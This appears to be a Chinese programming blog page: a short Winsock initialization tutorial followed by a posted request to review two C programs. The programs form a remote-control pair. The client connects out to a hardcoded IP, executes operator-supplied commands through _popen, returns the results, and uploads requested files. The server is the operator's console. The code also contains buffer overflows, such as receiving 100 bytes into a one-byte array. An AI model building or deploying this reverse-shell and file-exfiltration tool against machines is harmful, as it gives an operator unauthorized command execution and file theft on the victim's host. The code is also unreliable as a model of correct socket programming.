Initializing Winsock 初始化WinSock

本文介绍如何使用WinSock进行网络编程。主要内容包括WinSock的初始化过程与所需的数据结构WSAData,以及如何调用WSAStartup和WSACleanup函数来开始和结束WinSock的使用。提供了一个简单的WinSock初始化示例程序。

初始化:

int WSAStartup(
    WORD wVersionRequested,
    LPWSADATA lpWSAData
); 

lpWSAData指向:

typedef struct WSAData
{
    WORD           wVersion;
    WORD           wHighVersion;
    char           szDescription[WSADESCRIPTION_LEN + 1];
    char           szSystemStatus[WSASYS_STATUS_LEN + 1];
    unsigned short iMaxSockets;
    unsigned short iMaxUdpDg;
    char FAR *     lpVendorInfo;
} WSADATA, * LPWSADATA;

释放WinSockint WSACleanup(void);

简单的WinSock代码:

#include <winsock2.h>

void main(void)
{
   WSADATA wsaData;

   // Initialize Winsock version 2.2

   if ((Ret = WSAStartup(MAKEWORD(2,2), &wsaData)) != 0)
   {
      // NOTE: Since Winsock failed to load we cannot use
      // WSAGetLastError to determine the specific error for
      // why it failed. Instead we can rely on the return
      // status of WSAStartup.

      printf("WSAStartup failed with error %d/n", Ret);
      return;
   }

   // Setup Winsock communication code here

   // When your application is finished call WSACleanup
   if (WSACleanup() == SOCKET_ERROR)
   {
      printf("WSACleanup failed with error %d/n", WSAGetLastError());
   }
}

服务器端 #define _CRT_SECURE_NO_WARNINGS #define _WINSOCK_DEPRECATED_NO_WARNINGS #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winsock2.h> #include <windows.h> #include <stdint.h> #pragma comment(lib, "ws2_32.lib") #define BUFFER_SIZE 4096 #define PORT 40000 int main() { WSADATA wsa; SOCKET sock, client_sock; struct sockaddr_in server, client; printf("Initializing Winsock...\n"); if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { printf("WSAStartup failed. Error: %d\n", WSAGetLastError()); return 1; } printf("Creating socket...\n"); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) { printf("Socket creation failed. Error: %d\n", WSAGetLastError()); return 1; } server.sin_addr.s_addr = INADDR_ANY; // 监听所有IP server.sin_family = AF_INET; server.sin_port = htons(PORT); printf("Binding socket...\n"); if (bind(sock, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR) { printf("Bind failed. Error: %d\n", WSAGetLastError()); closesocket(sock); WSACleanup(); return 1; } printf("Listening for connections...\n"); listen(sock, 10); int addr_len = sizeof(client); if ((client_sock = accept(sock, (struct sockaddr*)&client, &addr_len)) == INVALID_SOCKET) { printf("Accept failed. Error: %d\n", WSAGetLastError()); closesocket(sock); WSACleanup(); return 1; } printf("Client connected: %s:%d. Enter commands (q to quit):\n", inet_ntoa(client.sin_addr), ntohs(client.sin_port)); while (1) { char choice[1]; printf("a.文件下载\nb.命令控制\nc.推出\n"); printf("input choice:"); fgets(choice, 2, stdin); send(client_sock, choice, 100, 0); if (strcmp(choice,"c") == 0){ break; } if (strcmp(choice, "a") == 0) { while (1) { //先输入下载文件名 char downfilename[100] = { 0 }; printf("Input filename to download: "); gets_s(downfilename); if (strcmp(downfilename, "q") == 0) { send(client_sock, "q", 1, 0); break; } send(client_sock, downfilename, strlen(downfilename), 0); //再输入保存文件名,看文件是否能创建成功 char savefilename[100] = { 0 }; //文件名 printf("Input filename to save: "); gets_s(savefilename); FILE* fp = fopen((const char*)savefilename, "wb"); //以二进制方式打开(创建)文件 if (fp == NULL) { printf("Cannot open file, press any key to exit!\n"); system("pause"); exit(0); } //循环接收数据,直到文件传输完毕 char buffer[BUFFER_SIZE] = { 0 }; //文件缓冲区 int nCount; while ((nCount = recv(client_sock, buffer, BUFFER_SIZE, 0)) > 0) { fwrite(buffer, nCount, 1, fp); } puts("File transfer success!"); //文件接收完毕后直接关闭套接字,无需调用shutdown() fclose(fp); } } if (strcmp(choice, "b") == 0) { while (1) { char cmd[BUFFER_SIZE]; printf("Enter command: "); fgets(cmd, BUFFER_SIZE, stdin); cmd[strcspn(cmd, "\n")] = '\0'; // 去除换行符 if (strcmp(cmd, "q") == 0) { send(client_sock, "q", 1, 0); break; } send(client_sock, cmd, strlen(cmd), 0); // 接收数据长度 uint32_t len; recv(client_sock, (char*)&len, sizeof(len), 0); // 接收数据 char* result = (char*)malloc(len + 1); recv(client_sock, result, len, 0); result[len] = '\0'; printf("Result:\n%s\n", result); free(result); } } } closesocket(client_sock); closesocket(sock); WSACleanup(); return 0; } 客户端 #define _CRT_SECURE_NO_WARNINGS #define _WINSOCK_DEPRECATED_NO_WARNINGS #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winsock2.h> #include <windows.h> #include <stdint.h> // 修复 uint32_t 未定义问题 #pragma comment(lib, "ws2_32.lib") #define BUFFER_SIZE 4096 #define PORT 40000 void execute_command(SOCKET sock, const char* cmd) { FILE* fp = _popen(cmd, "r"); if (fp == NULL) { send(sock, "finish", 6, 0); return; } char buffer[BUFFER_SIZE]; size_t bytes_read; char result[BUFFER_SIZE * 10] = ""; // 存储完整结果 while ((bytes_read = fread(buffer, 1, BUFFER_SIZE, fp)) > 0) { strncat(result, buffer, bytes_read); } _pclose(fp); if (strlen(result) == 0) { send(sock, "finish", 6, 0); } else { // 先发送数据长度,再发送数据 uint32_t len = (uint32_t)strlen(result); // 显式转换为 uint32_t send(sock, (char*)&len, sizeof(len), 0); send(sock, result, len, 0); } } int main() { WSADATA wsa; SOCKET sock; struct sockaddr_in server; printf("Initializing Winsock...\n"); if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { printf("WSAStartup failed. Error: %d\n", WSAGetLastError()); return 1; } printf("Creating socket...\n"); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) { printf("Socket creation failed. Error: %d\n", WSAGetLastError()); return 1; } server.sin_addr.s_addr = inet_addr("172.16.3.23"); // 服务器IP server.sin_family = AF_INET; server.sin_port = htons(PORT); printf("Connecting to server...\n"); if (connect(sock, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR) { printf("Connection failed. Error: %d\n", WSAGetLastError()); closesocket(sock); WSACleanup(); return 1; } printf("Connected to server.\n"); while (1) { char choice[1]; int received = recv(sock, choice, 100, 0); if (received <= 0) { printf("Connection closed.\n"); break; } if (strcmp(choice, "c") == 0) { break; } if (strcmp(choice, "a") == 0) { printf(" 文件下载"); while (1) { //先检查文件是否存在 char filename[100] = { 0 }; //文件名 int byte_received = recv(sock, filename, 100, 0); if (byte_received <= 0) { printf("Connection closed.\n"); break; } if (strcmp(filename, "q") == 0) { printf("Quit command received.\n"); break; } FILE* fp = fopen(filename, "rb"); //以二进制方式打开文件 if (fp == NULL) { printf("Cannot open file, press any key to exit!\n"); system("pause"); exit(0); } //循环发送数据,直到文件结尾 char buffer[BUFFER_SIZE] = { 0 }; //缓冲区 int nCount; while ((nCount = fread(buffer, 1, BUFFER_SIZE, fp)) > 0) { send(sock, buffer, nCount, 0); } shutdown(sock, SD_SEND); //文件读取完毕,断开输出流,向客户端发送FIN包 recv(sock, buffer, BUFFER_SIZE, 0); //阻塞,等待服务器端接收完毕 fclose(fp); } } if (strcmp(choice, "b") == 0) { printf("命令控制\n"); while (1) { char cmd[BUFFER_SIZE]; int bytes_received = recv(sock, cmd, BUFFER_SIZE, 0); if (bytes_received <= 0) { printf("Connection closed.\n"); break; } cmd[bytes_received] = '\0'; if (strcmp(cmd, "q") == 0) { printf("Quit command received.\n"); break; } printf("Executing command: %s\n", cmd); execute_command(sock, cmd); } } } closesocket(sock); closesocket(sock); WSACleanup(); return 0; } 检查一下程序有无问题
最新发布
08-15
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值